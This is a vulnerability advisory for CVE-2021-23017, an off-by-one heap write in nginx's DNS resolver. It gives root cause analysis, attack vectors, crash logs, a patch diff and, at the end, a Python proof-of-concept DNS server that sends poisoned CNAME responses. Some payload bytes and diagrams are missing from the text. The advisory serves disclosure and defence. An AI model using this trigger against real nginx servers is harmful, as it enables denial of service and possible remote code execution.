Advisory X41-2021-002: nginx DNS Resolver Off-by-One Heap Write Vulnerability  
Severity Rating: High  
Confirmed Affected Versions: 0.6.18 - 1.20.0  
Confirmed Patched Versions: 1.21.0, 1.20.1  
Vendor: F5, Inc.  
Vendor URL:  
Vendor Reference:  
Vector: Remote / DNS  
Credit: X41 D-SEC GmbH, Luis Merino, Markus Vervier, Eric Sesterhenn  
Status: Public  
CVE: CVE-2021-23017  
CWE: 193  
CVSS Score: 8.1  
Summary and Impact  
An off-by-one error in ngx_resolver_copy() while processing DNS responses  
allows a network attacker to write a dot character ('.', 0x2E) out of bounds  
in a heap allocated buffer. The vulnerability can be triggered by a DNS  
response in reply to a DNS request from nginx when the resolver primitive  
is configured. A specially crafted packet allows overwriting the least   
significant byte of next heap chunk metadata with 0x2E. A network attacker  
capable of providing DNS responses to a nginx server can achieve  
Denial-of-Service and likely remote code execution.  
Due to the lack of DNS spoofing mitigations in nginx and the fact that the  
vulnerable function is called before checking the DNS Transaction ID, remote  
attackers might be able to exploit this vulnerability by flooding the  
victim server with poisoned DNS responses in a feasible amount of time.  
Root Cause Analysis  
nginx DNS resolver (core/ngx_resolver.c) is used to resolve hostnames via DNS  
for several modules when the resolver primitive is set.  
ngx_resolver_copy() is called to validate and decompress each DNS domain name  
contained in a DNS response, receiving the network packet as input and a  
pointer to the name being processed, and returning a pointer to a newly  
allocated buffer containing the uncompressed name on success. This is done  
in two steps,  
1) The uncompressed domain name sizelenis calculated and the input packet is  
validated, discarding names containing more than 128 pointers or containing  
pointers that fall out of the input buffer boundaries.  
2) An output buffer is allocated, and the uncompressed name is copied into it.  
A mismatch between size calculation in part 1 and name decompression in part 2  
leads to an off-by-one error inlen, allowing to write a dot character one byte  
off name->data boundaries.  
The miscalculation happens when the last part of the compressed name contains a  
pointer to a NUL byte. While the calculation step only accounts dots between  
labels, the decompression step writes a dot character every time a label has  
been processed and next character is not NUL. When a label is followed by a  
pointer that leads to a NUL byte, the decompression procedure will:  
// 1) copy the label to the output buffer,  
ngx_strlow(dst, src, n);  
dst += n;  
src += n;  
// 2) read next character,  
n = *src++;  
// 3) as its a pointer, its not NUL,  
if (n != 0) {  
// 4) so a dot character that was not accounted for is written out of bounds  
*dst++ = '.';  
// 5) Afterwards, the pointer is followed,  
if (n & 0xc0) {  
n = ((n & 0x3f) << 8) + *src;  
src = &buf[n];  
n = *src++;  
// 6) and a NULL byte is found, signaling the end of the function  
if (n == 0) {  
name->len = dst - name->data;  
return NGXOK;  
If the calculated size happens to align with the heap chunk size, the dot  
character, written out of bounds, will overwrite the least significant byte  
of next heap chunk size metadata. This might modify the size of the next heap  
chunk, but also overwrite 3 flags, resulting in PREV_INUSE being cleared  
and IS_MMAPPED being set:  
==7863== Invalid write of size 1  
==7863== at 0x137C2E: ngx_resolver_copy (ngx_resolver.c:4018)  
==7863== by 0x13D12B: ngx_resolver_process_a (ngx_resolver.c:2470)  
==7863== by 0x13D12B: ngx_resolver_process_response (ngx_resolver.c:1844)  
==7863== by 0x13D46A: ngx_resolver_udp_read (ngx_resolver.c:1574)  
==7863== by 0x14AB19: ngx_epoll_process_events (ngx_epoll_module.c:901)  
==7863== by 0x1414D4: ngx_process_events_and_timers (ngx_event.c:247)  
==7863== by 0x148E57: ngx_worker_process_cycle (ngx_process_cycle.c:719)  
==7863== by 0x1474DA: ngx_spawn_process (ngx_process.c:199)  
==7863== by 0x1480A8: ngx_start_worker_processes (ngx_process_cycle.c:344)  
==7863== by 0x14952D: ngx_master_process_cycle (ngx_process_cycle.c:130)  
==7863== by 0x12237F: main (nginx.c:383)  
==7863== Address 0x4bbcfb8 is 0 bytes after a block of size 24 alloc'd  
==7863== at 0x483E77F: malloc (vg_replace_malloc.c:307)  
==7863== by 0x1448C4: ngx_alloc (ngx_alloc.c:22)  
==7863== by 0x137AE4: ngx_resolver_alloc (ngx_resolver.c:4119)  
==7863== by 0x137B26: ngx_resolver_copy (ngx_resolver.c:3994)  
==7863== by 0x13D12B: ngx_resolver_process_a (ngx_resolver.c:2470)  
==7863== by 0x13D12B: ngx_resolver_process_response (ngx_resolver.c:1844)  
==7863== by 0x13D46A: ngx_resolver_udp_read (ngx_resolver.c:1574)  
==7863== by 0x14AB19: ngx_epoll_process_events (ngx_epoll_module.c:901)  
==7863== by 0x1414D4: ngx_process_events_and_timers (ngx_event.c:247)  
==7863== by 0x148E57: ngx_worker_process_cycle (ngx_process_cycle.c:719)  
==7863== by 0x1474DA: ngx_spawn_process (ngx_process.c:199)  
==7863== by 0x1480A8: ngx_start_worker_processes (ngx_process_cycle.c:344)  
==7863== by 0x14952D: ngx_master_process_cycle (ngx_process_cycle.c:130)  
More information about general exploitability of a similar bug class found in  
* Chrome OS exploit: one byte overflow and symlinks  
* Project Zero's Poisoned NULL Byte  
* Hiroki Matsukama's House of Einherjar  
Given the rich interaction opportunities in nginx with user controller data  
and the documented precedents this bug is considered exploitable for remote  
code execution on some operating systems and architectures.  
Attack Vector Analysis  
There are several ways in which a DNS response can trigger the vulnerability.  
First, nginx must have sent a DNS request and must be waiting for a response.  
Then, a poisoned name can be injected in several parts of a DNS response:  
* DNS Questions QNAME,  
* DNS Answers NAME,  
* DNS Answers RDATA for CNAME and SRV responses,  
Keep in mind that the vulnerable function can be hit several times while  
processing a response, effectively performing several off-by-one writes,  
by crafting a response with several poisoned QNAME, NAME or RDATA values.  
Furthermore, when the attacker delivers a poisoned CNAME, it will be  
resolved recursively, triggering an additional OOB write during  
ngx_resolve_name_locked() call to ngx_strlow() (ngx_resolver.c:594)  
and additional OOB reads during ngx_resolver_dup() (ngx_resolver.c:790)  
and ngx_crc32_short() (ngx_resolver.c:596).  
An example payload of DNS response for a '' request, containing  
a poisoned CNAME:  
^ | ^ pointer to position 0x04 -|  
NULL byte <----------------------------------------------------------------------------------------------|  
^ 1 byte label  
A slightly different payload (the one in fills enough bytes to  
overwrite the nextchunk.mchunk_size least significant byte with a dot:  
24 bytes label  
A 24 bytes label leads to a 24 bytes buffer allocated, which is filled with 24  
bytes + an out of bounds dot character.  
Fix / Workarounds  
Allocating an extra byte for the spurious dot character written at the end  
of the poisoned domain names mitigates the issue.  
--- ngxresolver.c 2021-04-06 15:59:50.293734070 +0200  
+++ src/nginx-1.19.8/src/core/ngxresolver.c 2021-04-06 15:54:10.232975235 +0200  
@@ -3943,7 +3928,7 @@  
ngx_uint_t i, n;  
p = src;  
- len = -1;  
+ len = 0;  
* compression pointers allow to create endless loop, so we set limit;  
@@ -3986,7 +3971,7 @@  
return NGX_OK;  
- if (len == -1) {  
+ if (len == 0) {  
return NGX_OK;  
Official fix can be found at  
A dummy DNS server delivering a poisoned payload that triggers this  
vulnerability can be downloaded from  
The described vulnerability can be tested by running nginx with the provided  
config as follows under valgrind (  
valgrind --trace-children=yes objs/nginx -p ../runtime -c conf/reverse-proxy.conf  
Then run the DNS server (will listen on port 1053 by default):  
and trigger a request to the server:  
Depending on the heap layout when the bug triggers, the malloc mitigations  
might detect or not the effect. Several ways of showing up in the logs arise:  
corrupted size vs. prev_size  
2021/04/16 13:35:15 [alert] 2501#0: worker process 2502 exited on signal 6 (core dumped)  
malloc(): invalid next size (unsorted)  
2021/04/16 13:35:34 [alert] 2525#0: worker process 2526 exited on signal 6 (core dumped)  
Nevertheless, valgrind and AdressSanitizer will always detect the memory  
nginx config used  
daemon off;  
access_log logs/access.log;  
listen 8080;  
location / {  
set $dns;  
proxy_pass $dns;  
events {  
worker_connections 1024;  
2021-04-30 Issue reported to maintainers  
2021-05-17 Issue reported to distros mailing list  
2021-05-18 CVE assigned  
2021-05-25 Public disclosure  
About X41 D-SEC GmbH  
X41 is an expert provider for application security services. Having extensive industry experience and expertise in the area of information security, a strong core security team of world class security experts enables X41 to perform premium security services.  
Fields of expertise in the area of application security are security centered code reviews, binary reverse engineering and vulnerability discovery. Custom research and IT security consulting and support services are core competencies of X41.  
Packet Storm Addition of PoC:  
from binascii import hexlify, unhexlify  
from socket import AF_INET, SOCK_DGRAM, socket  
from struct import unpack  
sock = socket(AF_INET, SOCK_DGRAM)  
sock.bind(('', 1053))  
while True:  
request, addr = sock.recvfrom(4096)  
print(b'<<< '+hexlify(request))  
ident = request[0:2]  
# find request  
nullptr = request.find(0x0,12)  
reqname = request[12:request.find(0x0,12)+1]  
reqtype = request[nullptr+1:nullptr+3]  
reqclass = request[nullptr+3:nullptr+5]  
print('name: %s, type: %s, class: %s' % (reqname, unpack('>H', reqtype), unpack('>H', reqclass)))  
# CNAME response  
response = request[0:2] + \  
unhexlify('''81800001000100000000''') + \  
reqname + reqtype + reqclass + \  
print(b'>>> '+hexlify(response))  
sock.sendto(bytes(response), addr)